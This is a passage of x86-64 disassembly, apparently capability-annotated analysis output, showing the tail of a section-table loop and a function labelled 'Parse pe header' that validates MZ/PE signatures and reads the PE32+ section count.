add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002670
add rax, 0x28
cmp rax, r9
jne 0x1400026b0
xor eax, eax
ret

Function at 0x1400026d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a7a0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400026ef
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400026f8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400026ef
movzx ecx, word [rax + 6]
mov eax, ecx
ret